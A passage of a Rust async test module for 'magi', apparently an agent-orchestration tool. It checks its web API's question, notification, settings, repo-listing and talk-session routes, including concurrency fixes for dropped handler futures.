7915        let res = fx
7916            .post(
7917                &format!("/api/questions/{id}/say"),
7918                Some(r#"{"body":"why not Postgres?"}"#),
7919            )
7920            .await;
7921        assert_eq!(res.status, 200, "{}", res.body);
7922        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7923        assert_eq!(
7924            fx.get("/api/health").await.json()["questions_needs_owner"],
7925            0,
7926            "waiting on the agent is not waiting on the owner"
7927        );
7928
7929        // `magi ask --thread` replying is what brings the owner count back -
7930        // the same event that would resume the CLI call blocked in `magi
7931        // ask`.
7932        let mut q = store.get(&id).expect("get");
7933        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7934            .expect("reply");
7935        store.put(&mut q).expect("put");
7936        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7937        assert_eq!(
7938            fx.get("/api/health").await.json()["questions_needs_owner"],
7939            1,
7940            "the agent's reply is what should light the banner back up"
7941        );
7942    }
7943
7944    #[tokio::test]
7945    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7946        let fx = Fixture::start().await;
7947        let store = fx.questions();
7948
7949        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7950        let res = fx
7951            .post(
7952                &format!("/api/questions/{empty_id}/say"),
7953                Some(r#"{"body":"   "}"#),
7954            )
7955            .await;
7956        assert_eq!(res.status, 400, "{}", res.body);
7957
7958        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7959        let mut answered = store.get(&answered_id).expect("get");
7960        answered
7961            .answer(Answer::Choice("SQLite".to_owned()))
7962            .expect("answer");
7963        store.put(&mut answered).expect("put");
7964        let res = fx
7965            .post(
7966                &format!("/api/questions/{answered_id}/say"),
7967                Some(r#"{"body":"still there?"}"#),
7968            )
7969            .await;
7970        assert_eq!(res.status, 409, "{}", res.body);
7971
7972        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7973        let mut abandoned = store.get(&abandoned_id).expect("get");
7974        abandoned.abandon("timed out");
7975        store.put(&mut abandoned).expect("put");
7976        let res = fx
7977            .post(
7978                &format!("/api/questions/{abandoned_id}/say"),
7979                Some(r#"{"body":"still there?"}"#),
7980            )
7981            .await;
7982        assert_eq!(res.status, 409, "{}", res.body);
7983    }
7984
7985    #[tokio::test]
7986    async fn an_answer_the_question_does_not_offer_is_refused() {
7987        let fx = Fixture::start().await;
7988        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7989        let path = format!("/api/questions/{id}/answer");
7990
7991        for body in [
7992            r#"{"choice":"Postgres"}"#,
7993            r#"{"text":"whatever you think"}"#,
7994            r#"{"choice":"Redis","text":"both"}"#,
7995            r#"{}"#,
7996        ] {
7997            let res = fx.post(&path, Some(body)).await;
7998            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7999            assert!(res.json()["error"].is_string(), "{}", res.body);
8000        }
8001        // Nothing above may have answered it.
8002        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8003    }
8004
8005    #[tokio::test]
8006    async fn a_free_text_question_takes_text_and_not_a_choice() {
8007        let fx = Fixture::start().await;
8008        let id = ask(&fx, "What should the flag be called?", &[]);
8009        let path = format!("/api/questions/{id}/answer");
8010
8011        assert_eq!(
8012            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8013            400
8014        );
8015        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8016        assert_eq!(res.status, 200, "{}", res.body);
8017        assert_eq!(res.json()["answer"]["text"], "--json");
8018    }
8019
8020    #[tokio::test]
8021    async fn an_unknown_question_is_a_json_404() {
8022        let fx = Fixture::start().await;
8023        let res = fx
8024            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8025            .await;
8026        assert_eq!(res.status, 404, "{}", res.body);
8027        assert!(res.json()["error"].is_string());
8028    }
8029
8030    #[tokio::test]
8031    async fn notifications_list_read_dismiss_and_health_agree() {
8032        let fx = Fixture::start().await;
8033        let store = Notices::at(fx.home.path().join("notifications"));
8034        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8035        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8036
8037        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8038        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8039
8040        let health = fx.get("/api/health").await.json();
8041        assert_eq!(health["notifications_unread"], 2);
8042        assert_ne!(
8043            health["notifications_rev"], rev0,
8044            "the badge must move live"
8045        );
8046
8047        let listed = fx.get("/api/notifications").await.json();
8048        assert_eq!(listed["unread"], 2);
8049        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8050        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8051
8052        let read = fx
8053            .post(&format!("/api/notifications/{}/read", a.id), None)
8054            .await;
8055        assert_eq!(read.status, 200, "{}", read.body);
8056        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8057
8058        let gone = fx
8059            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8060            .await;
8061        assert_eq!(gone.status, 200, "{}", gone.body);
8062        let listed = fx.get("/api/notifications").await.json();
8063        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8064        assert_eq!(listed["unread"], 0);
8065
8066        store.raise(Notice::info("x", "again")).unwrap();
8067        let all = fx.post("/api/notifications/read-all", None).await;
8068        assert_eq!(all.status, 200, "{}", all.body);
8069        assert_eq!(all.json()["marked"], 1);
8070        assert_eq!(
8071            fx.get("/api/health").await.json()["notifications_unread"],
8072            0
8073        );
8074
8075        let missing = fx.post("/api/notifications/nope/read", None).await;
8076        assert_eq!(missing.status, 404, "{}", missing.body);
8077        assert!(missing.json()["error"].is_string());
8078    }
8079
8080    /// New work reaches the queue through `magi task add`, a standing talk's
8081    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
8082    /// so the compose form and that route are gone. The tests that covered
8083    /// that route's validation went with it, and nothing was left asserting
8084    /// it stays gone — so a re-added handler would silently let the phone
8085    /// file briefs no one validated.
8086    #[tokio::test]
8087    async fn a_task_cannot_be_filed_over_the_phone_directly() {
8088        let f = Fixture::start().await;
8089
8090        let res = f
8091            .post(
8092                "/api/queue",
8093                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8094            )
8095            .await;
8096
8097        assert_eq!(
8098            res.status, 405,
8099            "POST /api/queue must not be a route: {}",
8100            res.body
8101        );
8102        assert!(
8103            f.queue().list().is_empty(),
8104            "a task filed by a route that does not exist must not reach the disk"
8105        );
8106        // The path itself is still served — the Queue view reads it — and the
8107        // per-task controls are untouched by the entry being removed.
8108        assert_eq!(f.get("/api/queue").await.status, 200);
8109    }
8110
8111    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
8112    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8113        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8114            .expect("checkout dir");
8115    }
8116
8117    /// Two command agents, so a config needs no real CLI.
8118    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8119
8120    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8121        let tmp = TempDir::new().expect("tempdir");
8122        let repo = tmp.path().join("repo");
8123        std::fs::create_dir_all(&repo).expect("repo dir");
8124        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8125        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8126        if let Some(text) = machine_toml {
8127            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8128            std::fs::write(&machine, text).expect("machine toml");
8129        }
8130        (tmp, repo, machine)
8131    }
8132
8133    #[tokio::test]
8134    async fn settings_get_reports_sources_and_the_advisors_fallback() {
8135        let (_tmp, repo, machine) =
8136            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8137        let f = Fixture::with_repo_and_machine(repo, machine).await;
8138        let res = f.get("/api/settings").await;
8139        assert_eq!(res.status, 200, "{}", res.body);
8140        let v = res.json();
8141        assert!(v["error"].is_null(), "{v}");
8142        let role = |k: &str| {
8143            v["roles"]
8144                .as_array()
8145                .and_then(|r| r.iter().find(|x| x["key"] == k))
8146                .cloned()
8147                .unwrap_or_else(|| panic!("no role {k}: {v}"))
8148        };
8149        assert_eq!(role("judges")["source"], "machine");
8150        assert_eq!(role("judges")["editable"], true);
8151        assert_eq!(role("implementers")["source"], "default");
8152        let adv = role("advisors");
8153        assert_eq!(adv["fallback"], "judges");
8154        assert!(
8155            adv["seats"]
8156                .as_array()
8157                .is_some_and(|s| s.iter().all(|x| x == "b")),
8158            "{adv}"
8159        );
8160        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8161        assert_eq!(v["agents"][0]["source"], "repo");
8162    }
8163
8164    #[tokio::test]
8165    async fn settings_get_reports_a_config_that_does_not_parse() {
8166        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8167        let f = Fixture::with_repo_and_machine(repo, machine).await;
8168        let res = f.get("/api/settings").await;
8169        assert_eq!(res.status, 200, "{}", res.body);
8170        let v = res.json();
8171        assert!(v["error"]["message"].is_string(), "{v}");
8172        assert!(
8173            v["error"]["path"]
8174                .as_str()
8175                .is_some_and(|p| p.ends_with("magi.toml")),
8176            "{v}"
8177        );
8178        assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8179    }
8180
8181    #[tokio::test]
8182    async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8183        let (_tmp, repo, machine) = settings_dirs(
8184            SETTINGS_AGENTS,
8185            Some("# mine\n[roles]\n# seats\njudges = [\"a\"]  # note\n\n[vars]\nx = 1\n"),
8186        );
8187        let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8188        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8189        let rev = f.get("/api/settings").await.json()["revision"]
8190            .as_str()
8191            .expect("revision")
8192            .to_owned();
8193        let body = serde_json::json!({
8194            "revision": rev,
8195            "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8196        })
8197        .to_string();
8198        let res = f.put("/api/settings/roles", &body).await;
8199        assert_eq!(res.status, 200, "{}", res.body);
8200        let text = std::fs::read_to_string(&machine).expect("machine");
8201        assert_eq!(
8202            text,
8203            "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"]  # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8204        );
8205        assert_eq!(
8206            std::fs::read(repo.join("magi.toml")).expect("read"),
8207            repo_before
8208        );
8209        let again = f.get("/api/settings").await.json();
8210        let judges = again["roles"]
8211            .as_array()
8212            .expect("roles")
8213            .iter()
8214            .find(|r| r["key"] == "judges")
8215            .expect("judges")
8216            .clone();
8217        assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8218        // The old revision is now stale.
8219        let stale = f.put("/api/settings/roles", &body).await;
8220        assert_eq!(stale.status, 409, "{}", stale.body);
8221    }
8222
8223    #[tokio::test]
8224    async fn settings_put_refuses_without_touching_the_file() {
8225        let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8226        let (_tmp, repo, machine) = settings_dirs(
8227            &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8228            Some(machine_text),
8229        );
8230        let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8231        let rev = f.get("/api/settings").await.json()["revision"]
8232            .as_str()
8233            .expect("revision")
8234            .to_owned();
8235        for roles in [
8236            serde_json::json!({ "judges": ["nope"] }),
8237            serde_json::json!({ "reviewers": ["b"] }),
8238            serde_json::json!({ "bogus": ["a"] }),
8239        ] {
8240            let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8241            let res = f.put("/api/settings/roles", &body).await;
8242            assert_eq!(res.status, 422, "{roles}: {}", res.body);
8243            assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8244            assert_eq!(
8245                std::fs::read_to_string(&machine).expect("machine"),
8246                machine_text
8247            );
8248        }
8249    }
8250
8251    #[tokio::test]
8252    async fn repos_list_returns_name_and_path_for_every_configured_root() {
8253        let tmp = TempDir::new().expect("tempdir");
8254        let repo = tmp.path().join("repo");
8255        std::fs::create_dir_all(&repo).expect("repo dir");
8256        let root = tmp.path().join("root");
8257        make_checkout(&root, "github.com", "yukimemi", "magi");
8258        std::fs::write(
8259            repo.join("magi.toml"),
8260            format!(
8261                "[repos]\nroots = [{:?}]\n",
8262                root.to_string_lossy().into_owned()
8263            ),
8264        )
8265        .expect("write magi.toml");
8266
8267        let f = Fixture::with_repo(repo).await;
8268        let res = f.get("/api/repos").await;
8269        assert_eq!(res.status, 200, "{}", res.body);
8270        let list = res.json();
8271        let repos = list.as_array().expect("an array");
8272        assert_eq!(repos.len(), 1);
8273        assert_eq!(repos[0]["name"], "yukimemi/magi");
8274        assert!(
8275            repos[0]["path"]
8276                .as_str()
8277                .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8278            "{list}"
8279        );
8280    }
8281
8282    #[tokio::test]
8283    async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8284        let tmp = TempDir::new().expect("tempdir");
8285        let repo = tmp.path().join("repo");
8286        std::fs::create_dir_all(&repo).expect("repo dir");
8287        let root = tmp.path().join("root");
8288        make_checkout(&root, "github.com", "yukimemi", "magi");
8289        std::fs::write(
8290            repo.join("magi.toml"),
8291            format!(
8292                "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8293                root.to_string_lossy().into_owned()
8294            ),
8295        )
8296        .expect("write magi.toml");
8297
8298        let f = Fixture::with_repo(repo).await;
8299        let first = f.get("/api/repos").await;
8300        assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8301
8302        // A second checkout appears; within the TTL the cached answer must
8303        // not notice it.
8304        make_checkout(&root, "github.com", "yukimemi", "rvpm");
8305        let second = f.get("/api/repos").await;
8306        assert_eq!(
8307            second.json().as_array().map(Vec::len),
8308            Some(1),
8309            "a fresh cache must not rescan inside the TTL"
8310        );
8311
8312        let refreshed = f.get("/api/repos?refresh=1").await;
8313        assert_eq!(
8314            refreshed.json().as_array().map(Vec::len),
8315            Some(2),
8316            "an explicit refresh must rescan even inside the TTL"
8317        );
8318    }
8319
8320    /// A `kind = "command"` agent that ignores its prompt and answers a fixed
8321    /// string, declared straight in a repository's own `magi.toml` rather
8322    /// than the operator's real roster. No real agent CLI is spawned - `sh`
8323    /// is the interpreter, the same as `talk::tests::mock_agent` uses - so
8324    /// this is safe to run over a real HTTP round trip.
8325    const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8326
8327    /// A repo carrying `MOCK_AGENT_TOML`, for the talk routes that need a
8328    /// real `Config::discover` to find an agent - `talk::begin` resolves one
8329    /// even though it takes no turn, and `talk_say` invokes one.
8330    async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8331        let tmp = TempDir::new().expect("tempdir");
8332        let repo = tmp.path().join("repo");
8333        std::fs::create_dir_all(&repo).expect("repo dir");
8334        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8335        let f = Fixture::with_repo(repo.clone()).await;
8336        (tmp, repo, f)
8337    }
8338
8339    #[tokio::test]
8340    async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8341        let (_tmp, _repo, f) = talk_fixture().await;
8342
8343        // No body at all - `f.post(.., None)` sends no `Content-Type` either -
8344        // is the ordinary way a phone opens a talk.
8345        let opened = f.post("/api/talks", None).await;
8346        assert_eq!(opened.status, 201, "{}", opened.body);
8347        let body = opened.json();
8348        assert_eq!(body["status"], "open");
8349        assert_eq!(
8350            body["turns"].as_array().unwrap().len(),
8351            0,
8352            "opening takes no agent turn: there is nothing yet to answer"
8353        );
8354
8355        // An explicit empty object is the same request as none at all.
8356        let also_opened = f.post("/api/talks", Some("{}")).await;
8357        assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8358
8359        let listed = f.get("/api/talks").await.json();
8360        assert_eq!(listed.as_array().unwrap().len(), 2);
8361    }
8362
8363    #[tokio::test]
8364    async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8365        let tmp = TempDir::new().expect("tempdir");
8366        let repo = tmp.path().join("repo");
8367        std::fs::create_dir_all(&repo).expect("repo dir");
8368        let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8369        std::fs::write(
8370            repo.join("magi.toml"),
8371            format!("{MOCK_AGENT_TOML}\n{second}"),
8372        )
8373        .expect("write magi.toml");
8374        let home = TempDir::new().expect("temp home");
8375        let talks = Talks::at(home.path().join("talks"));
8376        let ui = Arc::new(
8377            Ui::new(
8378                Queue::at(home.path().join("queue")),
8379                Questions::at(home.path().join("questions")),
8380                talks.clone(),
8381                home.path().join("runs"),
8382                home.path().to_path_buf(),
8383                repo.clone(),
8384            )
8385            .with_worktrees_root(home.path().join("wt")),
8386        );
8387        let cfg = config_for(&repo).await.expect("discover config");
8388        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8389        let id = talk.id.clone();
8390        let call = |agent: &str| {
8391            talk_agent(
8392                State(Arc::clone(&ui)),
8393                Path(id.clone()),
8394                Json(TalkAgent {
8395                    agent: agent.to_owned(),
8396                }),
8397            )
8398        };
8399
8400        let unknown = call("nobody").await.expect_err("unknown agent");
8401        assert_eq!(
8402            unknown.status,
8403            StatusCode::BAD_REQUEST,
8404            "{}",
8405            unknown.message
8406        );
8407
8408        {
8409            // The refused call hands its claim to a drain loop that releases
8410            // it a moment later.
8411            let mut claimed = None;
8412            for _ in 0..200 {
8413                claimed = ui.begin_talk_turn(&id).expect("claim");
8414                if claimed.is_some() {
8415                    break;
8416                }
8417                tokio::time::sleep(Duration::from_millis(10)).await;
8418            }
8419            let _busy = claimed.expect("free");
8420            let busy = call("second").await.expect_err("busy talk");
8421            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8422        }
8423        assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8424
8425        let Json(view) = call("second").await.expect("switch");
8426        assert_eq!(view.talk.agent, "second");
8427        assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8428        let saved = talks.get(&id).expect("reload");
8429        assert_eq!(saved.agent, "second");
8430        assert_eq!(saved.turns.len(), 1);
8431
8432        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8433            .await
8434            .expect("detail");
8435        let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8436        assert_eq!(roster, ["mock", "second"]);
8437
8438        let mut closed = talks.get(&id).expect("reload");
8439        talk::close(&mut closed, &talks).expect("close");
8440        let refused = call("mock").await.expect_err("closed talk");
8441        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8442    }
8443
8444    #[tokio::test]
8445    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8446        let f = Fixture::start().await;
8447        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8448        let queue = f.queue();
8449        let mut mine = Task::new(
8450            "rename the loader".to_owned(),
8451            "rename the loader".to_owned(),
8452            PathBuf::from("/repo/magi"),
8453            Source::Agent {
8454                run: talk_id.clone(),
8455                node: "chat".to_owned(),
8456            },
8457        );
8458        queue.put(&mut mine).expect("file the task");
8459        let mut theirs = Task::new(
8460            "unrelated".to_owned(),
8461            "unrelated".to_owned(),
8462            PathBuf::from("/repo/magi"),
8463            Source::Human,
8464        );
8465        queue.put(&mut theirs).expect("file the task");
8466
8467        let res = f.get(&format!("/api/talks/{talk_id}")).await;
8468        assert_eq!(res.status, 200, "{}", res.body);
8469        let body = res.json();
8470        assert_eq!(
8471            body["status"], "open",
8472            "filing a task does not close a talk"
8473        );
8474        let tasks = body["tasks"].as_array().expect("tasks array");
8475        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8476        assert_eq!(tasks[0]["id"], mine.id);
8477    }
8478
8479    #[tokio::test]
8480    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8481        let (_tmp, _repo, f) = talk_fixture().await;
8482        let id = f.post("/api/talks", None).await.json()["id"]
8483            .as_str()
8484            .expect("id")
8485            .to_owned();
8486
8487        let res = f
8488            .post(
8489                &format!("/api/talks/{id}/say"),
8490                Some(r#"{"text":"what does the queue module do?"}"#),
8491            )
8492            .await;
8493        assert_eq!(res.status, 202, "{}", res.body);
8494        let queued = res.json();
8495        let turns = queued["turns"].as_array().expect("turns array");
8496        assert_eq!(
8497            turns.len(),
8498            1,
8499            "the answer reflects only what is on disk the instant it is sent, \
8500             before the agent's turn - which can run for the whole of \
8501             `[graph] timeout_talk` - has a chance to land: {queued}"
8502        );
8503        assert_eq!(turns[0]["who"], "operator");
8504        assert_eq!(turns[0]["body"], "what does the queue module do?");
8505        assert_eq!(
8506            queued["thinking"], true,
8507            "the accepted response exposes the background turn claim: {queued}"
8508        );
8509
8510        let mut turns_after = 1;
8511        for _ in 0..SETTLE_STEPS {
8512            let detail = f.get(&format!("/api/talks/{id}")).await.json();
8513            turns_after = detail["turns"].as_array().expect("turns array").len();
8514            if turns_after == 2 {
8515                break;
8516            }
8517            tokio::time::sleep(Duration::from_millis(10)).await;
8518        }
8519        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8520    }
8521
8522    /// A phone that reloads mid-request drops `talk_say`'s whole handler
8523    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
8524    /// guards against: `talk::record` used to return, and only *then* did the
8525    /// handler make a second, separate disk round trip before spawning the
8526    /// agent's reply task. A future dropped in that gap left a message
8527    /// recorded on disk with no reply task ever started and no way back short
8528    /// of a fresh message - and the gap was not even the whole story: *any*
8529    /// `.await` in this handler, including the very first one, is a point
8530    /// where a drop can land after the awaited work already finished but
8531    /// before this handler's own code resumes to act on it. `record` now
8532    /// runs inside the task `tokio::spawn` hands to the runtime before this
8533    /// handler ever awaits anything of its own again, so there is nothing
8534    /// left in *this* handler's future for a disconnect to interrupt between
8535    /// the message landing on disk and the reply task starting.
8536    ///
8537    /// A real socket disconnect cannot be relied on to land in the old gap
8538    /// from a test - over loopback, `talk_say` typically finishes before the
8539    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
8540    /// same failure mode directly: it drops the task's future at whatever
8541    /// point it has reached, exactly what axum does to the handler future,
8542    /// without needing to win a real network race. Sweeping the delay before
8543    /// aborting samples a range of points the task's execution can be at,
8544    /// including where the old code sat waiting on its second disk round
8545    /// trip - confirmed by reverting this fix locally and watching this same
8546    /// sweep catch a talk stuck with the operator's turn recorded and no
8547    /// reply ever following.
8548    #[tokio::test]
8549    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8550        let tmp = TempDir::new().expect("tempdir");
8551        let repo = tmp.path().join("repo");
8552        std::fs::create_dir_all(&repo).expect("repo dir");
8553        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8554        let home = TempDir::new().expect("temp home");
8555        let talks = Talks::at(home.path().join("talks"));
8556        let ui = Arc::new(
8557            Ui::new(
8558                Queue::at(home.path().join("queue")),
8559                Questions::at(home.path().join("questions")),
8560                talks.clone(),
8561                home.path().join("runs"),
8562                home.path().to_path_buf(),
8563                repo.clone(),
8564            )
8565            .with_worktrees_root(home.path().join("wt")),
8566        );
8567        let cfg = config_for(&repo).await.expect("discover config");
8568
8569        for delay in 0..40u32 {
8570            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8571            let id = talk.id.clone();
8572
8573            let handler = tokio::spawn(talk_say(
8574                State(Arc::clone(&ui)),
8575                Path(id.clone()),
8576                Ok(Json(NewTalkTurn {
8577                    text: "what does the queue module do?".to_owned(),
8578                    attachments: Vec::new(),
8579                })),
8580            ));
8581            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8582            handler.abort();
8583            // Wait out the abort so the next iteration's talk does not race
8584            // this one's still-unwinding turn guard.
8585            let _ = handler.await;
8586
8587            let mut turns = 0;
8588            for _ in 0..SETTLE_STEPS {
8589                if let Ok(fresh) = talks.get(&id) {
8590                    turns = fresh.turns.len();
8591                    if turns != 1 {
8592                        break;
8593                    }
8594                }
8595                tokio::time::sleep(Duration::from_millis(10)).await;
8596            }
8597            assert_ne!(
8598                turns, 1,
8599                "delay {delay}: talk {id} recorded the operator's turn but \
8600                 the agent never answered - the reply task was never \
8601                 started after the handler future was dropped"
8602            );
8603        }
8604    }
8605
8606    /// The same drop, landing on `talk_say`'s other durable write.
8607    ///
8608    /// When a turn is already running, the busy branch persists the
8609    /// operator's text as a queued draft and then reclaims the turn slot if
8610    /// the holder gave it up in the meantime - and whoever reclaims owes that
8611    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
8612    /// which finishes whether or not the future awaiting it is still there,
8613    /// so a handler dropped at that `.await` used to leave the draft written
8614    /// to disk with the reclaimed guard dropped unread and no drainer ever
8615    /// started: the message sat queued until some unrelated later `say`
8616    /// happened to pick it up.
8617    ///
8618    /// This used to drive the handler future by hand, polling it a fixed
8619    /// number of times to park it at the `.await` where it asks for the turn
8620    /// and finds it busy, before the reclaim's slot-free case could be set up
8621    /// underneath it. That assumed a fixed number of polls lands at a fixed
8622    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
8623    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
8624    /// poll, so any number of this handler's several `blocking` awaits can
8625    /// collapse into one poll under load, landing the drive somewhere other
8626    /// than intended - including, occasionally, straight past the handler's
8627    /// own completion, which made polling it again panic with "async fn
8628    /// resumed after completion". No poll count fixes that; the handler's
8629    /// progress simply is not something a caller outside it can observe by
8630    /// counting.
8631    ///
8632    /// [`BusyQueueGate`] replaces the poll count with a real stop point
8633    /// inside the write itself, so the interleaving under test is pinned by
8634    /// an event instead of a guess: the gate fires only once the handler has
8635    /// actually decided `Busy` and is about to persist the draft, and it
8636    /// blocks that write until the test lets it through. Between those two
8637    /// moments the test drains the turn the handler found busy - through
8638    /// `drain_loop`, the protocol's other half - and then aborts the handler
8639    /// task outright, the same way axum drops a disconnected request's
8640    /// future. The write, and the reclaim it may do, run to completion
8641    /// regardless: they live in the `tokio::spawn` task the busy branch hands
8642    /// to the runtime before ever touching the gate, wholly independent of
8643    /// whether the handler that started it is still around - which is what
8644    /// this test is actually checking. A drainer other than that reclaim
8645    /// cannot exist here: the test's own `drain_loop` call happens before the
8646    /// gate opens, so it runs while the queue is still empty and hands the
8647    /// turn straight back rather than draining anything, closing off the
8648    /// possibility of the final assertion passing without the reclaim ever
8649    /// having done its job.
8650    #[tokio::test]
8651    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8652        let tmp = TempDir::new().expect("tempdir");
8653        let repo = tmp.path().join("repo");
8654        std::fs::create_dir_all(&repo).expect("repo dir");
8655        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8656        let home = TempDir::new().expect("temp home");
8657        let talks = Talks::at(home.path().join("talks"));
8658        let ui = Arc::new(
8659            Ui::new(
8660                Queue::at(home.path().join("queue")),
8661                Questions::at(home.path().join("questions")),
8662                talks.clone(),
8663                home.path().join("runs"),
8664                home.path().to_path_buf(),
8665                repo.clone(),
8666            )
8667            .with_worktrees_root(home.path().join("wt")),
8668        );
8669        let cfg = config_for(&repo).await.expect("discover config");
8670
8671        for attempt in 0..3u32 {
8672            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8673            let id = talk.id.clone();
8674            // A turn is already running, which is what sends `talk_say` down
8675            // the busy branch.
8676            let turn_guard = ui
8677                .begin_talk_turn(&id)
8678                .expect("claim the turn")
8679                .expect("a fresh talk owes nobody a turn");
8680
8681            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8682            let (release_tx, release_rx) = std::sync::mpsc::channel();
8683            ui.set_busy_queue_gate(BusyQueueGate {
8684                reached: reached_tx,
8685                release: release_rx,
8686            });
8687
8688            let handler = tokio::spawn(talk_say(
8689                State(Arc::clone(&ui)),
8690                Path(id.clone()),
8691                Ok(Json(NewTalkTurn {
8692                    text: "what does the queue module do?".to_owned(),
8693                    attachments: Vec::new(),
8694                })),
8695            ));
8696
8697            // Wait for the busy branch to actually reach the gate, rather
8698            // than for any fixed number of polls of anything - a bounded
8699            // wait rather than a bare `.await` so a regression that never
8700            // reaches the gate fails the test instead of hanging it.
8701            tokio::time::timeout(Duration::from_secs(5), reached_rx)
8702                .await
8703                .unwrap_or_else(|_| {
8704                    panic!(
8705                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8706                    )
8707                })
8708                .expect("the busy branch dropped the gate without using it");
8709
8710            // The turn that was running now finishes and gives the slot up
8711            // the way a real one does - through `drain_loop`, which finds
8712            // nothing queued yet (the write is still held at the gate) and
8713            // releases. The handler, parked inside `spawn_blocking` on the
8714            // other side of the gate, still believes the talk is busy -
8715            // exactly the interleaving the reclaim exists for.
8716            let running = talks.get(&id).expect("reload talk");
8717            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8718
8719            // Drop the handler future now, the way a reloading phone drops
8720            // it: suspended waiting on the busy branch's answer, having
8721            // itself made no more progress since it handed the write off.
8722            handler.abort();
8723            let _ = handler.await;
8724
8725            // Only now let the gated write proceed. It persists the draft
8726            // and reclaims the now-free slot from inside the task the busy
8727            // branch already spawned - unaffected by the handler's abort
8728            // above, since that task was independent of the handler's own
8729            // future from the moment it was spawned.
8730            let _ = release_tx.send(());
8731
